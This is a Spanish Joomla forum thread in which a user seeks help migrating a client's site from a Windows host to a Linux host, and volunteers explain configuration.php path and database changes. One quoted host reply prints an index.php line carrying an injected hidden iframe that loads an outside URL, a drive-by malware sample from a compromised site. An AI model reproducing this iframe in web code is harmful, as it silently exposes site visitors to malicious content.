Desde Comunidad Joomla colaboramos con el Proyecto Oficial en temas de traducción. Centramos nuestras energías en el desempeño de tareas de soporte, traducción y distribución del CMS Joomla!® en español[es_ES] de forma altruista y comunitaria. Mantenemos las traducciones acreditadas de Joomla! 1.5 y Joomla! 1.7, así como otros trabajos, dentro de las políticas de traducción y localización que nos brinda Joomla!® y la Open Source Matters. Ahora también puede seguirnos vía Twitter, Facebook!, Youtube y Linkedin

Por favor, acuérdese de leer nuestras Normas y Código de Conducta , presentarte ante los colegas del foro en Presentación en la comunidad, y revisar la documentación de nuestro Centro de Ayuda.

migrar de un servidor windows a uno linux

Todo lo que tenga que ver directamente con la instalación, migración y actualización de Joomla 1.7 o 1.6

Moderador: Staff Comunidad Joomla!

migrar de un servidor windows a uno linux

Notapor irantzu » Mié Ene 26, 2011 6:46 am

Estimados amigos, lanzo un gran SOS porque no tengo ni idea de que hacer.

Tengo un cliente que me ha pedido que le cambie su web a mi servidor, en teoría pense que era una web normal y cual es mi sorpresa está hecha con joomla, algo que en mi vida he tocado y no se ni por donde le da el aire.

Yo me bajé del ftp viejo todo y lo copié tal cual a mi nuevo servidor pero por supuesto la página no funciona para nada. Llame a los de mi servidor y me dijeron que de esta manera no podía hacerse por al diferencia de servidores y hasta aqui llegué, no tengo idea de lo que hay que hacer.

Hay algún alma caritativa que quiera ayudarme con esto paso a paso????
Les estaré eternamente agradecida.
irantzu
Nuevo
Nuevo
 
Mensajes: 4
Registrado: Mié Ene 26, 2011 6:41 am

Re: migrar de un servidor windows a uno linux

Notapor Federico Piccoli » Mié Ene 26, 2011 6:52 am

irantzu escribió:...Llame a los de mi servidor y me dijeron que de esta manera no podía hacerse por al diferencia de servidores.....

Ciao

Porqué??????

Yo diría que cambiando var $log_path, var $tmp_path, var $host , var $user, var $db y var $password
en el configuration.php debería funcionar, al menos yo cuando paso los backups desde local (windows) a remoto (linux) y viceversa me funciona perfectamente
Federico Piccoli
Colaborador
Colaborador
 
Mensajes: 503
Registrado: Vie Ene 07, 2011 3:25 am

Re: migrar de un servidor windows a uno linux

Notapor irantzu » Mié Ene 26, 2011 7:01 am

Pues no lo se, te copio la respuesta de ellos:

El nuestros servidores linux no usamos httpdocs (esto es solo para servidores windows). Tendras que no solamente remover ese directorio pero cambiar todos los archivos dentro de la carpeta "cuidamospersonas" que tienes como dominio estacionado.
3. El codigo dentro de index.php tienes un error de syntax línea 88
EDITADO por tu seguridad
Analiza este código y remueve lo que no necesitas. Línea 88 dice lo siguiente:

echo JResponse::toString($mainframe->getCfg('gzip'));<html><body><iframe src="http://kazyment.com/error2/tr/out.php?s_id=2" width="0" height="0" style="display:none;"></iframe></body></html>

4. Tienes que todos los archivos y su configuración hacia este servidor incluyendo el archivo .htaccess. Ejemplo, ahora tienes lo siguiente en .htaccess:

" php_value session.save_path '/var/www/vhosts/*******/httpdocs/session'"
'
5. Tu archivo de configuración (/********/httpdocs/configuration.php)
Tiene lo siguiente y tendras que cambiarlo:

var $log_path = '/var/www/vhosts/+++++++/httpdocs/logs';
var $tmp_path = '/var/www/vhosts/*********/httpdocs/tmp';

Hice lo que me dijeron y nada
irantzu
Nuevo
Nuevo
 
Mensajes: 4
Registrado: Mié Ene 26, 2011 6:41 am

Re: migrar de un servidor windows a uno linux

Notapor Federico Piccoli » Mié Ene 26, 2011 7:27 am

Ciao

Alt!!! esto no tiene nada que ver con lo que escribiste en el primer post

irantzu escribió:...Hice lo que me dijeron y nada

pues evidentemente lo hiciste mal, controla los paths
Federico Piccoli
Colaborador
Colaborador
 
Mensajes: 503
Registrado: Vie Ene 07, 2011 3:25 am

Re: migrar de un servidor windows a uno linux

Notapor irantzu » Mié Ene 26, 2011 7:30 am

pues la verdad es que no tengo ni idea
irantzu
Nuevo
Nuevo
 
Mensajes: 4
Registrado: Mié Ene 26, 2011 6:41 am

Re: migrar de un servidor windows a uno linux

Notapor Federico Piccoli » Mié Ene 26, 2011 8:19 am

Ciao

Pues diselo a tu cliente
Federico Piccoli
Colaborador
Colaborador
 
Mensajes: 503
Registrado: Vie Ene 07, 2011 3:25 am

Re: migrar de un servidor windows a uno linux

Notapor valc » Mié Ene 26, 2011 10:19 am

Al margen de cualquier problema que puedas tener ahora mismo para hacer correr Joomla!, mostrar esto al público y permitir el acceso incluso hasta la carpeta privada es inadminible:
Código: Seleccionar todo
[DIR] anon_ftp/               26-Jan-2011 02:25      - 
[DIR] bin/                    26-Jan-2011 02:18      - 
[DIR] cgi-bin/                26-Jan-2011 02:25      - 
[DIR] error_docs/             26-Jan-2011 02:23      - 
[DIR] httpdocs/               26-Jan-2011 03:25      - 
[DIR] httpsdocs/              26-Jan-2011 02:25      - 
[DIR] private/                26-Jan-2011 02:18      - 
[DIR] subdomains/             26-Jan-2011 02:18      - 
[DIR] web_users/              26-Jan-2011 02:17      -

si estás pagando por un VPS, pero no tienenes ni idea de como funciona, se configura, etc. Posiblemente, quien te sirve el hospedaje, a cambio de dinero, te lo podrá configurar según lo requieras. Desde estos foros, podemos ayudar sobre lo relacionado con Joomla!, y puntualizar algunas cosas para el tema de los servidore, pero esto, se sale de madre. si no es tu responsabilidad configurarlo bien, entonces exige responsabilidad a quien te proporcione el servicio.
||| Normas y código de conducta, si ves que me lo salto, házmelo saber ||| No se brinda soporte privado. Lo que queda reflejado en un foro, puede ayudar a toda una comunidad.

Un cordial saludo, Valc (Rafael Gómez)
Avatar de Usuario
valc
Coordinador General
Coordinador General
 
Mensajes: 2032
Registrado: Mié Ene 30, 2008 5:49 pm

Re: migrar de un servidor windows a uno linux

Notapor irantzu » Mié Ene 26, 2011 12:13 pm

precisamente porque la responsabilidad es mia es que pido ayuda, gracias de todas maneras.
Tu crees que si la responsabilidad fuera de otro pediría ayuda????????????????
irantzu
Nuevo
Nuevo
 
Mensajes: 4
Registrado: Mié Ene 26, 2011 6:41 am

Re: migrar de un servidor windows a uno linux

Notapor valc » Mié Ene 26, 2011 1:23 pm

Si es cosa tuya y tú no has tocado nada en las configuraciones virtuales del servidor... esa configuración inicial que te están facilitando no es la más apropiada, y menos para una persona con pocos conocimientos sobre entornos de hospedaje GNU/Linux para servir webs.
Mi primer consejo, es que entres al WHM o el entorno gráfico que te hayan proporcionado, y detengas el servicio de apache y mysql.
Así nadie podrá acceder a tu web, y por ende, acceder por zonas no autorizadas vía http.
A partir de ahi, te aconsejo que te replantees las cosas. Si ese tipo de plan no se ajusta a tus conocimientos, busca otro donde la configuración inicial de todo, por lo menos, te cubra en medidas de seguridad básicas. Si necesitas un hospedaje específico para Joomla!, pide por una configuración del entrono específica para Joomla!, y, que te indiquen que medidas de seguridad vienen configuradas predeterminadamente. En este caso, tal vez sigas sin tener demasiada idea de todo esto, pero al menos estarías "básicamente cubierto", y, si tú no tocas nada ahí, nada tiene porqué fallarte.
En nuestro foro de documentación, dispones de algún material de ayuda relacionado con esto, y si buscas sobre "configuraciones virtuales del servidor", en nuestro foro ya hay información sobre esas cosas.. pero es que eso no es más que la punta del iceberg. Si tu entorno inicial ya es tan permisivo, establecer un control y configuración de seguridad es demasiado complejo, para quien desde aquí, no puede saber ni como lo tienes, ni como se podría mejorar.
Espero te pueda servir.
||| Normas y código de conducta, si ves que me lo salto, házmelo saber ||| No se brinda soporte privado. Lo que queda reflejado en un foro, puede ayudar a toda una comunidad.

Un cordial saludo, Valc (Rafael Gómez)
Avatar de Usuario
valc
Coordinador General
Coordinador General
 
Mensajes: 2032
Registrado: Mié Ene 30, 2008 5:49 pm

Re: migrar de un servidor windows a uno linux

Notapor gustavo » Sab Feb 05, 2011 7:13 pm

Hola irantzu,

Que la desesperación no te haga perder las formas y el respeto hacia quienes te están tratando de tender una mano. Regla de oro para ser parte de cualquier comunidad de voluntarios :angel:

Migrar de entorno/hosting no es una tarea compleja con Joomla!

Antes de comenzar declaramos una regla de referencia:
Z: el servidor del CLIENTE
A: tu servidor

Pasos:
1. Revisar que el servidor destino cumple con los requerimientos mínimos de Joomla!
2. Te bajas el sitio completo del servidor Z, eso incluye el root de la instalación. Ej: Si el sitio esta instalado en C:\miservidor\cliente, te bajas todo el directorio CLIENTE. A su vez, tienes que exportar la base de datos que utiliza la aplicación Joomla! para funcionar. Si no sabes cuales son dichos datos, mira en el configuration.php los datos de conexión. Si no lo puedes exportar, con esa información de referencia pide al hosting de tu cliente que te lo exporte.
3. Sube la base de datos que exportaste al servidor A, si no sabes, pide ayuda a tu hosting. Guarda los datos de conexión, serán vitales para el próximo paso.
4. En tu local, edita el configuration.php con la información más relevante; la conexión a la nueva base de datos. Utiliza los datos del punto 3.

Código: Seleccionar todo
   var $dbtype = 'mysql';               // Normalmente mysql
   var $host = 'localhost';            // Normalmente se utiliza localhost
   var $user = 'gustavo';                     // MySQL usuario
   var $password = 'yotengounpassword';                  // MySQL contraseña
   var $db = 'mijoomla';                     // MySQL nombre de la base de datos
   var $dbprefix = 'jos_';               // Prefijo de las tablas, no cambiar.


Luego, necesitaras configurar el directorio temporal con la nueva ruta del servidor A (Si es que quieres instalar extensiones, etc.) . También le puedes pedir ayuda a tu hosting para que te brinde la ruta correcta

Código: Seleccionar todo
var $tmp_path   = '/var/www/cliente/tmp';


5. Una vez que tienes el configuration.php con tus datos y la base de datos importada en el nuevo entorno, procedes a subir el sitio CLIENTE completo al servidor A. Ej: /var/www/cliente

6. Listo, no hay paso 6.. solo te resta navegar el sitio y cotejar que no hay errores. ;)

Recuerda que los directorios tienen que funcionar en "verde" (permiso de escritura) para que puedas instalar extensiones y templates desde el navegador, etc.

Saludos,
gustavo
Desde Comunidad Joomla! centramos nuestras energías en el desempeño de tareas de soporte, traducción y distribución del CMS Joomla! en español [es_ES] de forma totalmente altruista y comunitaria. ¡Súmate y Participa! . Seguinos vía Twitter y Facebook | Mi perfil en linkedin: Gustavo Raúl Aragón
Avatar de Usuario
gustavo
Coordinador General
Coordinador General
 
Mensajes: 847
Registrado: Mié Ene 30, 2008 2:30 pm
Ubicación: Buenos Aires, Argentina

Siguiente

Volver a Instalación, Migración y Actualización

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 2 invitados